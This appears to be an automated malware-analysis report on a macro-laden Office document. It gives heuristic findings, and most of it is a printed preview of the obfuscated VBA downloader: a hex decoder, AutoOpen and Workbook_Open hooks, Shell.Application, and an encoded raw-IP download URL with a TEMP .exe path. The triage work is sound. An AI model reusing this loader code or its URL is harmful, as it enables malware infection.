MALICIOUS
326
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1071.001 Web Protocols
The sample is a malicious Office document containing obfuscated VBA macros. The macros utilize the URLDownloadToFileA API to download a second-stage payload from a remote source, indicated by the critical heuristic firings for OLE_VBA_DOWNLOAD and OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER. The AutoOpen macro is triggered upon opening the document, initiating the download process.
Heuristics 11
-
Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOADReference to URLDownloadToFile API
-
VBA macros detected medium 7 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
URLDownloadToFile in VBA critical OLE_VBA_DOWNLOADURLDownloadToFile in VBAMatched line in script
Private Declare PtrSafe Function URLDownloadToFileA Lib "urlmon" (ByVal NRTMLM As Long, _ -
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.Matched line in script
Set nvVhjkkj = CreateObject(v67fYKdf("5368656C6C2E4170706C69636174696F6E")) -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set nvVhjkkj = CreateObject(v67fYKdf("5368656C6C2E4170706C69636174696F6E")) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Sub Workbook_Open() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
mBHJBkd = Environ(v67fYKdf("54454D50")) & v67fYKdf("5C3156324D555932585759534658512E657865") -
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 29612 bytes |
SHA-256: 11ee6c1a25ceee5c99139668ad5bd6228524e72681d081a4c2bf1b5c4065ac89 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
390 of 600 identifiers look randomly generated (e.g. 'dPTthfZroKhFL') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If Win64 Then
Private Declare PtrSafe Function URLDownloadToFileA Lib "urlmon" (ByVal NRTMLM As Long, _
ByVal UUQCES As String, ByVal VKDDKH As String, ByVal XXRYIY As Long, _
ByVal RPBFSI As Long) As Long
#Else
Private Declare Function URLDownloadToFileA Lib "urlmon" (ByVal NRTMLM As Long, _
ByVal UUQCES As String, ByVal VKDDKH As String, ByVal XXRYIY As Long, _
ByVal RPBFSI As Long) As Long
#End If
Public Function v67fYKdf(ByVal jYsjaoyh As String) As String
For SVlGHRbVzOiB = 1 To Len(jYsjaoyh) Step 2
TFhDPe = Chr$(Val(Chr$(38) & Chr$(72) & Mid$(jYsjaoyh, SVlGHRbVzOiB, 2)))
dPTthfZroKhFL = dPTthfZroKhFL & TFhDPe
Next SVlGHRbVzOiB
v67fYKdf = dPTthfZroKhFL
End Function
Sub nvfvyIHKJdd()
Dim lzHIsdqR, BCvevIex, RKycQeMf As String
Dim RAoYjTmX, bZlKPOKC, mEEttFhB As String
Dim YhELWnqv, ZjDtgRIb, cjVjOOyn As String
YhELWnqv = v67fYKdf("202020202020202020202043584A414755202020202020202020202020202020")
ZjDtgRIb = LTrim(YhELWnqv)
cjVjOOyn = RTrim(ZjDtgRIb)
RAoYjTmX = v67fYKdf("2020202020202020202020575A55574E4F202020202020202020202020202020")
Dim bAmqdPFS, rxeTbtTR, OlPNDncw As String
bAmqdPFS = v67fYKdf("20202020202020202020204D4D58434451202020202020202020202020202020")
rxeTbtTR = LTrim(bAmqdPFS)
OlPNDncw = RTrim(rxeTbtTR)
bZlKPOKC = LTrim(RAoYjTmX)
Dim pQJdBhlt, SCyyOSeb, aDsPFvgi As String
pQJdBhlt = v67fYKdf("20202020202020202020205A534E5A4251202020202020202020202020202020")
SCyyOSeb = LTrim(pQJdBhlt)
aDsPFvgi = RTrim(SCyyOSeb)
mEEttFhB = RTrim(bZlKPOKC)
Dim MGKFwpzv, KnwAlsIC, tYiRXBQi As String
MGKFwpzv = v67fYKdf("2020202020202020202020575950524255202020202020202020202020202020")
KnwAlsIC = LTrim(MGKFwpzv)
tYiRXBQi = RTrim(KnwAlsIC)
lzHIsdqR = v67fYKdf("20202020202020202020204B55554F5342202020202020202020202020202020")
Dim blHFYGlF, lOYbxXIk, VRgMPkbp As String
Dim ZgNCrqMb, chpovhkA, ljlmKlGZ As String
ZgNCrqMb = v67fYKdf("20202020202020202020204D575A454C42202020202020202020202020202020")
chpovhkA = LTrim(ZgNCrqMb)
ljlmKlGZ = RTrim(chpovhkA)
blHFYGlF = v67fYKdf("2020202020202020202020414E51575159202020202020202020202020202020")
Dim PQCHpzJJ, ZzDANoym, iCwXdEVs As String
PQCHpzJJ = v67fYKdf("2020202020202020202020554F47584E53202020202020202020202020202020")
ZzDANoym = LTrim(PQCHpzJJ)
iCwXdEVs = RTrim(ZzDANoym)
lOYbxXIk = LTrim(blHFYGlF)
Dim tVQggnWA, lFHLmsup, IRXxnClK As String
tVQggnWA = v67fYKdf("20202020202020202020204B494B574B43202020202020202020202020202020")
lFHLmsup = LTrim(tVQggnWA)
IRXxnClK = RTrim(lFHLmsup)
VRgMPkbp = RTrim(lOYbxXIk)
Dim UzqXLFBN, LoCBmZeq, JLnQlRIO As String
UzqXLFBN = v67fYKdf("202020202020202020202047444D555058202020202020202020202020202020")
LoCBmZeq = LTrim(UzqXLFBN)
JLnQlRIO = RTrim(LoCBmZeq)
BCvevIex = LTrim(lzHIsdqR)
Dim ARotwZZf, HlfInfFX, rpldYNNR As String
Dim EDmKEEGh, bFRrVIdj, mFFhlSPl As String
EDmKEEGh = v67fYKdf("202020202020202020202057495341594F202020202020202020202020202020")
bFRrVIdj = LTrim(EDmKEEGh)
mFFhlSPl = RTrim(bFRrVIdj)
ARotwZZf = v67fYKdf("2020202020202020202020455652485742202020202020202020202020202020")
Dim kbXlmpwl, CmRFUTds, HQmbvSZG As String
kbXlmpwl = v67fYKdf("202020202020202020202043454650594A202020202020202020202020202020")
CmRFUTds = LTrim(kbXlmpwl)
HQmbvSZG = RTrim(CmRFUTds)
HlfInfFX = LTrim(ARotwZZf)
Dim dxaSdqRS, AduhlXHm, rcwpzlvF As String
dxaSdqRS = v67fYKdf("2020202020202020202020584D41554A47202020202020202020202020202020")
AduhlXHm = LTrim(dxaSdqRS)
rcwpzlvF = RTrim(AduhlXHm)
rpldYNNR = RTrim(HlfInfFX)
Dim SnBUtkrX, VYQPYyuu, CkgcRiDT As String
SnBUtkrX = v67fYKdf("20202020202020202020204A42444E4851202020202020202020202020202020")
VYQPYyuu = LTrim(SnBUtkrX)
CkgcRiDT = RTrim(VYQPYyuu)
RKycQeMf = RTrim(BCvevIex)
Dim zHWHoLPK, gXULPUFe, dUqYIOlZ As String
Dim YEIcBitF, AEKOldZG, xReWDjNH As String
YEIcBitF = v67fYKdf("202020202020202020202058454C4A4A56202020202020202020202020202020")
AEKOldZG = LTrim(YEIcBitF)
xReWDjNH = RTrim(AEKOldZG)
zHWHoLPK = v67fYKdf("2020202020202020202020425953544B56202020202020202020202020202020")
Dim HPMqduDv, wTZYbARh, aApaSCxi As String
HPMqduDv = v67fYKdf("202020202020202020202045564F564458202020202020202020202020202020")
wTZYbARh = LTrim(HPMqduDv)
aApaSCxi = RTrim(wTZYbARh)
gXULPUFe = LTrim(zHWHoLPK)
Dim PDcSeNta, BEZhoQjO, AGJpKoBr As String
PDcSeNta = v67fYKdf("2020202020202020202020495A51555350202020202020202020202020202020")
BEZhoQjO = LTrim(PDcSeNta)
AGJpKoBr = RTrim(BEZhoQjO)
dUqYIOlZ = RTrim(gXULPUFe)
Dim tNkbswKa, jyrZFpXs, ZsHThCBx As String
tNkbswKa = v67fYKdf("20202020202020202020204E5143584D44202020202020202020202020202020")
jyrZFpXs = LTrim(tNkbswKa)
ZsHThCBx = RTrim(jyrZFpXs)
rRRfyhjk
End Sub
Sub AutoOpen()
Dim HJtjSRmM, tYpMKhYZ, UKvFADgX As String
Dim HhezAiPS, QhdfXsiD, UjxbjjTF As String
Dim jzWfbjVY, detbMmwU, iegQgbLI As String
jzWfbjVY = v67fYKdf("202020202020202020202047474E53545A202020202020202020202020202020")
detbMmwU = LTrim(jzWfbjVY)
iegQgbLI = RTrim(detbMmwU)
HhezAiPS = v67fYKdf("2020202020202020202020415845595443202020202020202020202020202020")
Dim blqQHOJE, tgLyerIw, Ppnnhbbf As String
blqQHOJE = v67fYKdf("202020202020202020202057484A514150202020202020202020202020202020")
tgLyerIw = LTrim(blqQHOJE)
Ppnnhbbf = RTrim(tgLyerIw)
QhdfXsiD = LTrim(HhezAiPS)
Dim eliUFNuo, kodqLQlJ, MlAtZozs As String
eliUFNuo = v67fYKdf("20202020202020202020204A4B52525250202020202020202020202020202020")
kodqLQlJ = LTrim(eliUFNuo)
MlAtZozs = RTrim(kodqLQlJ)
UjxbjjTF = RTrim(QhdfXsiD)
Dim OsdRtVhB, UCHjeNWc, LeZlTFVI As String
OsdRtVhB = v67fYKdf("2020202020202020202020484A4D564841202020202020202020202020202020")
UCHjeNWc = LTrim(OsdRtVhB)
LeZlTFVI = RTrim(UCHjeNWc)
HJtjSRmM = v67fYKdf("202020202020202020202051525A584542202020202020202020202020202020")
Dim AjgDBjvK, ydXisShO, BZDLzLTd As String
Dim MhJGlRGI, GjazFOdP, QjsfoDPQ As String
MhJGlRGI = v67fYKdf("20202020202020202020204558564E5A4F202020202020202020202020202020")
GjazFOdP = LTrim(MhJGlRGI)
QjsfoDPQ = RTrim(GjazFOdP)
AjgDBjvK = v67fYKdf("20202020202020202020205A42434D574D202020202020202020202020202020")
Dim DuKAFiKS, YcOdTguh, qljUKOBu As String
DuKAFiKS = v67fYKdf("2020202020202020202020494D53464847202020202020202020202020202020")
YcOdTguh = LTrim(DuKAFiKS)
qljUKOBu = RTrim(YcOdTguh)
ydXisShO = LTrim(AjgDBjvK)
Dim lHiVhwjG, WzxKBLNo, pKZwtRsJ As String
lHiVhwjG = v67fYKdf("2020202020202020202020594749575546202020202020202020202020202020")
WzxKBLNo = LTrim(lHiVhwjG)
pKZwtRsJ = RTrim(WzxKBLNo)
BZDLzLTd = RTrim(ydXisShO)
Dim hbZCQxhu, fpyOOvWT, bhKSsdBH As String
hbZCQxhu = v67fYKdf("202020202020202020202059565A495544202020202020202020202020202020")
fpyOOvWT = LTrim(hbZCQxhu)
bhKSsdBH = RTrim(fpyOOvWT)
tYpMKhYZ = LTrim(HJtjSRmM)
Dim MZRgeAlz, xFKoSBzw, PRVSKPfr As String
Dim MnawUeyr, HnqUziEt, QAmLxsay As String
MnawUeyr = v67fYKdf("202020202020202020202052415A474F57202020202020202020202020202020")
HnqUziEt = LTrim(MnawUeyr)
QAmLxsay = RTrim(HnqUziEt)
MZRgeAlz = v67fYKdf("2020202020202020202020444347575356202020202020202020202020202020")
Dim VlXlbPvc, EgRFDyhh, oqsoNnii As String
VlXlbPvc = v67fYKdf("2020202020202020202020464146504952202020202020202020202020202020")
EgRFDyhh = LTrim(VlXlbPvc)
oqsoNnii = RTrim(EgRFDyhh)
xFKoSBzw = LTrim(MZRgeAlz)
Dim XVYsCDzC, qFSGzbfT, DNaOQXCB As String
XVYsCDzC = v67fYKdf("20202020202020202020204649484C4F52202020202020202020202020202020")
qFSGzbfT = LTrim(XVYsCDzC)
DNaOQXCB = RTrim(qFSGzbfT)
PRVSKPfr = RTrim(xFKoSBzw)
Dim HSryvMjv, zKHoaIlO, NZlWBPNi As String
HSryvMjv = v67fYKdf("20202020202020202020204C5248534E42202020202020202020202020202020")
zKHoaIlO = LTrim(HSryvMjv)
NZlWBPNi = RTrim(zKHoaIlO)
UKvFADgX = RTrim(tYpMKhYZ)
Dim NiGelqnw, sfAyMBRY, vlfoxSUJ As String
Dim IiJfDhpH, EiabimUJ, voqQAvtK As String
IiJfDhpH = v67fYKdf("2020202020202020202020434B4351515A202020202020202020202020202020")
EiabimUJ = LTrim(IiJfDhpH)
voqQAvtK = RTrim(EiabimUJ)
NiGelqnw = v67fYKdf("202020202020202020202056474F514355202020202020202020202020202020")
Dim XWSfhqUm, nHmIETbd, ySzrHajr As String
XWSfhqUm = v67fYKdf("2020202020202020202020545254424756202020202020202020202020202020")
nHmIETbd = LTrim(XWSfhqUm)
ySzrHajr = RTrim(nHmIETbd)
sfAyMBRY = LTrim(NiGelqnw)
Dim PqPofMXV, BaGSlTiY, AdrYzeJN As String
PqPofMXV = v67fYKdf("202020202020202020202049464B4B4A55202020202020202020202020202020")
BaGSlTiY = LTrim(PqPofMXV)
AdrYzeJN = RTrim(BaGSlTiY)
vlfoxSUJ = RTrim(sfAyMBRY)
Dim mmggNImA, YnakZxvQ, KYDmrpAX As String
mmggNImA = v67fYKdf("20202020202020202020204958574A464C202020202020202020202020202020")
YnakZxvQ = LTrim(mmggNImA)
KYDmrpAX = RTrim(YnakZxvQ)
nvfvyIHKJdd
End Sub
Sub Workbook_Open()
Dim yREXSZvr, lPhBgjZg, RHzzHrTb As String
Dim nOKqDQDJ, xPzxiGqK, kQdIZMIL As String
Dim vevEvTwj, lrIHLOLk, htLzfFjl As String
vevEvTwj = v67fYKdf("20202020202020202020204B48464D524F202020202020202020202020202020")
lrIHLOLk = LTrim(vevEvTwj)
htLzfFjl = RTrim(lrIHLOLk)
nOKqDQDJ = v67fYKdf("20202020202020202020204D5956505153202020202020202020202020202020")
Dim mKkPGWYJ, BDBtzhcO, ROUnhPgn As String
mKkPGWYJ = v67fYKdf("20202020202020202020204B5A57504148202020202020202020202020202020")
BDBtzhcO = LTrim(mKkPGWYJ)
ROUnhPgn = RTrim(BDBtzhcO)
xPzxiGqK = LTrim(nOKqDQDJ)
Dim zbxPGkVi, jhZgMepH, LnJiEnLp As String
zbxPGkVi = v67fYKdf("20202020202020202020204A575159544C202020202020202020202020202020")
jhZgMepH = LTrim(zbxPGkVi)
LnJiEnLp = RTrim(jhZgMepH)
kQdIZMIL = RTrim(xPzxiGqK)
Dim YNaVHsdL, LyDalNhr, tsbrMDlg As String
YNaVHsdL = v67fYKdf("202020202020202020202057584C485641202020202020202020202020202020")
LyDalNhr = LTrim(YNaVHsdL)
tsbrMDlg = RTrim(LyDalNhr)
yREXSZvr = v67fYKdf("2020202020202020202020414145555548202020202020202020202020202020")
Dim tAwTylwg, PxrNlFdu, gkQmYotV As String
Dim QPMMlHnf, UQruFWVh, ZQfloBwj As String
QPMMlHnf = v67fYKdf("2020202020202020202020594C4B455955202020202020202020202020202020")
UQruFWVh = LTrim(QPMMlHnf)
ZQfloBwj = RTrim(UQruFWVh)
tAwTylwg = v67fYKdf("20202020202020202020204A5241485657202020202020202020202020202020")
Dim kTDKYtbl, CnwdMbks, GJsVPYYG As String
kTDKYtbl = v67fYKdf("2020202020202020202020435950585346202020202020202020202020202020")
CnwdMbks = LTrim(kTDKYtbl)
GJsVPYYG = RTrim(CnwdMbks)
PxrNlFdu = LTrim(tAwTylwg)
Dim vePTnxxz, afBbpMyx, hrtegTkt As String
vePTnxxz = v67fYKdf("20202020202020202020204F5743535346202020202020202020202020202020")
afBbpMyx = LTrim(vePTnxxz)
hrtegTkt = RTrim(afBbpMyx)
gkQmYotV = RTrim(PxrNlFdu)
Dim XjXsUwif, MabVTcDD, uusaisJV As String
XjXsUwif = v67fYKdf("2020202020202020202020584D53475444202020202020202020202020202020")
MabVTcDD = LTrim(XjXsUwif)
uusaisJV = RTrim(MabVTcDD)
lPhBgjZg = LTrim(yREXSZvr)
Dim ErHHhSwx, KLWlwcUt, mtpftWhv As String
Dim CHSdzusG, KJXvxqOJ, FJyQJhyK As String
CHSdzusG = v67fYKdf("2020202020202020202020544F57514C43202020202020202020202020202020")
KJXvxqOJ = LTrim(CHSdzusG)
FJyQJhyK = RTrim(KJXvxqOJ)
ErHHhSwx = v67fYKdf("20202020202020202020205450574F4B45202020202020202020202020202020")
Dim XXyxboGl, AJDJSEYs, ySwsBVve As String
XXyxboGl = v67fYKdf("2020202020202020202020595247454C43202020202020202020202020202020")
AJDJSEYs = LTrim(XXyxboGl)
ySwsBVve = RTrim(AJDJSEYs)
KLWlwcUt = LTrim(ErHHhSwx)
Dim UXxQUatq, XSZgDSjK, vVJoxpNd As String
UXxQUatq = v67fYKdf("2020202020202020202020555551594151202020202020202020202020202020")
XSZgDSjK = LTrim(UXxQUatq)
vVJoxpNd = RTrim(XSZgDSjK)
mtpftWhv = RTrim(KLWlwcUt)
Dim TIdYGjCM, JFBPjrat, GbZxgyYR As String
TIdYGjCM = v67fYKdf("202020202020202020202046454D4E4950202020202020202020202020202020")
JFBPjrat = LTrim(TIdYGjCM)
GbZxgyYR = RTrim(JFBPjrat)
RHzzHrTb = RTrim(lPhBgjZg)
Dim DgSYJZZT, BmvOljTH, qnqSWtOa As String
Dim sllagppB, ulZfOfUN, emSbrlta As String
sllagppB = v67fYKdf("2020202020202020202020535651594256202020202020202020202020202020")
ulZfOfUN = LTrim(sllagppB)
emSbrlta = RTrim(ulZfOfUN)
DgSYJZZT = v67fYKdf("202020202020202020202042455349424F202020202020202020202020202020")
Dim yZylcZfb, QcDDPVyk, jlwiClCo As String
yZylcZfb = v67fYKdf("2020202020202020202020514D465A4B55202020202020202020202020202020")
QcDDPVyk = LTrim(yZylcZfb)
jlwiClCo = RTrim(QcDDPVyk)
BmvOljTH = LTrim(DgSYJZZT)
Dim nvHeDLEl, GgXYLRGa, knqnZzvm As String
nvHeDLEl = v67fYKdf("2020202020202020202020455757475255202020202020202020202020202020")
GgXYLRGa = LTrim(nvHeDLEl)
knqnZzvm = RTrim(GgXYLRGa)
qnqSWtOa = RTrim(BmvOljTH)
Dim SiPaKXon, VfxrmPsQ, XBNJlSJp As String
SiPaKXon = v67fYKdf("20202020202020202020204A475950504E202020202020202020202020202020")
VfxrmPsQ = LTrim(SiPaKXon)
XBNJlSJp = RTrim(VfxrmPsQ)
nvfvyIHKJdd
End Sub
Sub rRRfyhjk()
Dim SpdHphXr, IqxzEllt, EsYfVvJy As String
Dim vaShUBYP, lzCAzrrQ, geuFxiAS As String
Dim cylKGipS, lyZrpdUD, guDhRjtF As String
cylKGipS = v67fYKdf("20202020202020202020204B4A51415356202020202020202020202020202020")
lyZrpdUD = LTrim(cylKGipS)
guDhRjtF = RTrim(lyZrpdUD)
vaShUBYP = v67fYKdf("20202020202020202020204B475744494C202020202020202020202020202020")
Dim iLhPuNBU, apumCugq, YtFHqZyz As String
iLhPuNBU = v67fYKdf("20202020202020202020204C44564B4253202020202020202020202020202020")
apumCugq = LTrim(iLhPuNBU)
YtFHqZyz = RTrim(apumCugq)
lzCAzrrQ = LTrim(vaShUBYP)
Dim jsYaqMKX, TzQTjTeR, idNbNeSB As String
jsYaqMKX = v67fYKdf("2020202020202020202020564748464855202020202020202020202020202020")
TzQTjTeR = LTrim(jsYaqMKX)
idNbNeSB = RTrim(TzQTjTeR)
geuFxiAS = RTrim(lzCAzrrQ)
Dim OEoCRUGX, WOWNumKu, uHUeIoXj As String
OEoCRUGX = v67fYKdf("2020202020202020202020435143484B51202020202020202020202020202020")
WOWNumKu = LTrim(OEoCRUGX)
uHUeIoXj = RTrim(WOWNumKu)
SpdHphXr = v67fYKdf("20202020202020202020204E4C494E5841202020202020202020202020202020")
Dim kexdDgIq, CBrUaObe, ZMSzfrjM As String
Dim axGMdTWK, CxByUPlL, KcokzFHM As String
axGMdTWK = v67fYKdf("20202020202020202020205542435A564F202020202020202020202020202020")
CxByUPlL = LTrim(axGMdTWK)
KcokzFHM = RTrim(CxByUPlL)
kexdDgIq = v67fYKdf("20202020202020202020204A4943564E4E202020202020202020202020202020")
Dim lHuDGCHS, BQGiekIE, RYxZhDbw As String
lHuDGCHS = v67fYKdf("202020202020202020202042534D4D4850202020202020202020202020202020")
BQGiekIE = LTrim(lHuDGCHS)
RYxZhDbw = RTrim(BQGiekIE)
CBrUaObe = LTrim(kexdDgIq)
Dim zMUlxXrQ, RyXdylDt, LXaJstBD As String
zMUlxXrQ = v67fYKdf("2020202020202020202020564857595141202020202020202020202020202020")
RyXdylDt = LTrim(zMUlxXrQ)
LXaJstBD = RTrim(RyXdylDt)
ZMSzfrjM = RTrim(CBrUaObe)
Dim eqmxuAtE, zWVptEQe, faPdYjFd As String
eqmxuAtE = v67fYKdf("20202020202020202020204E4A56574A48202020202020202020202020202020")
zWVptEQe = LTrim(eqmxuAtE)
faPdYjFd = RTrim(zWVptEQe)
IqxzEllt = LTrim(SpdHphXr)
Dim lkEjVGPU, WZKqUdlz, plCFSVTP As String
Dim pxHqUVJP, tcNxzzgQ, DeakKmga As String
pxHqUVJP = v67fYKdf("202020202020202020202052474C5A4C4E202020202020202020202020202020")
tcNxzzgQ = LTrim(pxHqUVJP)
DeakKmga = RTrim(tcNxzzgQ)
lkEjVGPU = v67fYKdf("2020202020202020202020595A4C525656202020202020202020202020202020")
Dim BsSLdYus, EilfnzVe, oezODxHW As String
BsSLdYus = v67fYKdf("202020202020202020202055535447444F202020202020202020202020202020")
EilfnzVe = LTrim(BsSLdYus)
oezODxHW = RTrim(EilfnzVe)
WZKqUdlz = LTrim(lkEjVGPU)
Dim VTAipJxX, dwUSgZIR, GYXYVNkV As String
VTAipJxX = v67fYKdf("20202020202020202020204756464B4759202020202020202020202020202020")
dwUSgZIR = LTrim(VTAipJxX)
GYXYVNkV = RTrim(dwUSgZIR)
plCFSVTP = RTrim(WZKqUdlz)
Dim wrcQvwds, lGNvxcKP, TWSAVsXW As String
wrcQvwds = v67fYKdf("20202020202020202020204F44425A4E44202020202020202020202020202020")
lGNvxcKP = LTrim(wrcQvwds)
TWSAVsXW = RTrim(lGNvxcKP)
EsYfVvJy = RTrim(IqxzEllt)
Dim fEVozXBu, sgAXNVTY, cmfBZSIH As String
Dim jgNMlWry, shpyDBAu, ujlkirBi As String
jgNMlWry = v67fYKdf("202020202020202020202046585A5A414A202020202020202020202020202020")
shpyDBAu = LTrim(jgNMlWry)
ujlkirBi = RTrim(shpyDBAu)
fEVozXBu = v67fYKdf("2020202020202020202020544E4446474E202020202020202020202020202020")
Dim XCvAiJca, GfgdVVSR, loCUqlEx As String
XCvAiJca = v67fYKdf("202020202020202020202053475A464255202020202020202020202020202020")
GfgdVVSR = LTrim(XCvAiJca)
loCUqlEx = RTrim(GfgdVVSR)
sgAXNVTY = LTrim(fEVozXBu)
Dim TLDBJzFv, MOKZCFNu, ibVyzbsG As String
TLDBJzFv = v67fYKdf("202020202020202020202054544C445951202020202020202020202020202020")
MOKZCFNu = LTrim(TLDBJzFv)
ibVyzbsG = RTrim(MOKZCFNu)
cmfBZSIH = RTrim(sgAXNVTY)
Dim GorOEFPQ, agHStZDX, BBlveRlm As String
GorOEFPQ = v67fYKdf("20202020202020202020204C4848414558202020202020202020202020202020")
agHStZDX = LTrim(GorOEFPQ)
BBlveRlm = RTrim(agHStZDX)
KHVnjbOd = v67fYKdf("687474703A2F2F3231332E3137342E3136322E3132363A383038302F6D616E732F706F70732E706870")
Dim sTqUhxBM, JnLzZJJQ, xxncGsIE As String
Dim XJsPwlQV, KJxXHvoN, DKYiqEYa As String
Dim lTjQeWwR, fTnCxNLT, pYPoJrjU As String
lTjQeWwR = v67fYKdf("2020202020202020202020475250434C4A202020202020202020202020202020")
fTnCxNLT = LTrim(lTjQeWwR)
pYPoJrjU = RTrim(fTnCxNLT)
XJsPwlQV = v67fYKdf("2020202020202020202020544F49434552202020202020202020202020202020")
Dim tlJuJJKt, PgvZrsPX, EThdMlBb As String
tlJuJJKt = v67fYKdf("20202020202020202020204A4E53524A55202020202020202020202020202020")
PgvZrsPX = LTrim(tlJuJJKt)
EThdMlBb = RTrim(PgvZrsPX)
KJxXHvoN = LTrim(XJsPwlQV)
Dim BUupISUn, fcdDFcLo, ZfkjMotJ As String
BUupISUn = v67fYKdf("20202020202020202020204742454B5A45202020202020202020202020202020")
fcdDFcLo = LTrim(BUupISUn)
ZfkjMotJ = RTrim(fcdDFcLo)
DKYiqEYa = RTrim(KJxXHvoN)
Dim PqtPJcSM, CjJDlqHt, oxEHWBLh As String
PqtPJcSM = v67fYKdf("2020202020202020202020484A48415046202020202020202020202020202020")
CjJDlqHt = LTrim(PqtPJcSM)
oxEHWBLh = RTrim(CjJDlqHt)
sTqUhxBM = v67fYKdf("202020202020202020202046584A4F4645202020202020202020202020202020")
Dim lIlMyCya, qVoTXrmR, HMJNovdx As String
Dim HQVhojlS, SQiAEmHD, USkFVbfF As String
HQVhojlS = v67fYKdf("202020202020202020202041554144585A202020202020202020202020202020")
SQiAEmHD = LTrim(HQVhojlS)
USkFVbfF = RTrim(SQiAEmHD)
lIlMyCya = v67fYKdf("2020202020202020202020564942435650202020202020202020202020202020")
Dim BsqEljRQ, RiKVTQxE, oenlKufw As String
BsqEljRQ = v67fYKdf("202020202020202020202055534A554841202020202020202020202020202020")
RiKVTQxE = LTrim(BsqEljRQ)
oenlKufw = RTrim(RiKVTQxE)
qVoTXrmR = LTrim(lIlMyCya)
Dim boKAZJST, FBVyUZVf, jqdNjNUU As String
boKAZJST = v67fYKdf("20202020202020202020204544585A5659202020202020202020202020202020")
FBVyUZVf = LTrim(boKAZJST)
jqdNjNUU = RTrim(FBVyUZVf)
HMJNovdx = RTrim(qVoTXrmR)
Dim bTtZunyZ, QQJTOgoD, VJEIqedV As String
bTtZunyZ = v67fYKdf("202020202020202020202051414A434A47202020202020202020202020202020")
QQJTOgoD = LTrim(bTtZunyZ)
VJEIqedV = RTrim(QQJTOgoD)
JnLzZJJQ = LTrim(sTqUhxBM)
Dim MxYRknco, odQoxdOJ, ceJSZVWb As String
Dim xilZOTTu, kiZFrPei, doSacFno As String
xilZOTTu = v67fYKdf("20202020202020202020204A4B514C4F4F202020202020202020202020202020")
kiZFrPei = LTrim(xilZOTTu)
doSacFno = RTrim(kiZFrPei)
MxYRknco = v67fYKdf("2020202020202020202020444D48454C56202020202020202020202020202020")
Dim WZbvGWZu, FLhpYzKP, lFVRLcOZ As String
WZbvGWZu = v67fYKdf("202020202020202020202053544544484F202020202020202020202020202020")
FLhpYzKP = LTrim(WZbvGWZu)
lFVRLcOZ = RTrim(FLhpYzKP)
odQoxdOJ = LTrim(MxYRknco)
Dim TLdvCZlW, irAlYNzg, wMYXQQfC As String
TLdvCZlW = v67fYKdf("202020202020202020202053485149434A202020202020202020202020202020")
irAlYNzg = LTrim(TLdvCZlW)
wMYXQQfC = RTrim(irAlYNzg)
ceJSZVWb = RTrim(odQoxdOJ)
Dim oZKidLvD, wIRqGUAV, UFjfjmRo As String
oZKidLvD = v67fYKdf("2020202020202020202020505046574F4B202020202020202020202020202020")
wIRqGUAV = LTrim(oZKidLvD)
UFjfjmRo = RTrim(wIRqGUAV)
xxncGsIE = RTrim(JnLzZJJQ)
Dim vfhwyGOU, PlzvUZDK, OtTsTRlj As String
Dim ejqwlqgp, VjmUDgSs, MkRLilpd As String
ejqwlqgp = v67fYKdf("2020202020202020202020495855484142202020202020202020202020202020")
VjmUDgSs = LTrim(ejqwlqgp)
MkRLilpd = RTrim(VjmUDgSs)
vfhwyGOU = v67fYKdf("2020202020202020202020504B584D4A58202020202020202020202020202020")
Dim jfBnYsGk, WpUWLYYp, FbcYOFXD As String
jfBnYsGk = v67fYKdf("202020202020202020202043564846514A202020202020202020202020202020")
WpUWLYYp = LTrim(jfBnYsGk)
FbcYOFXD = RTrim(WpUWLYYp)
PlzvUZDK = LTrim(vfhwyGOU)
Dim nNRIsYMU, rsLZWrZz, kzVyNGFP As String
nNRIsYMU = v67fYKdf("2020202020202020202020504D4C44544C202020202020202020202020202020")
rsLZWrZz = LTrim(nNRIsYMU)
kzVyNGFP = RTrim(rsLZWrZz)
OtTsTRlj = RTrim(PlzvUZDK)
Dim kdSelOpU, hChGjQHu, AezKKvLj As String
kdSelOpU = v67fYKdf("2020202020202020202020554B5551434C202020202020202020202020202020")
hChGjQHu = LTrim(kdSelOpU)
AezKKvLj = RTrim(hChGjQHu)
mBHJBkd = Environ(v67fYKdf("54454D50")) & v67fYKdf("5C3156324D555932585759534658512E657865")
Dim RHENKqif, uzKMAIJU, wKCcUleh As String
Dim RoDBAORP, noCqWDzQ, wpuxhKvS As String
Dim yMSZgtsr, aWCFOoOt, CXuNrfuu As String
yMSZgtsr = v67fYKdf("20202020202020202020204F51574C4258202020202020202020202020202020")
aWCFOoOt = LTrim(yMSZgtsr)
CXuNrfuu = RTrim(aWCFOoOt)
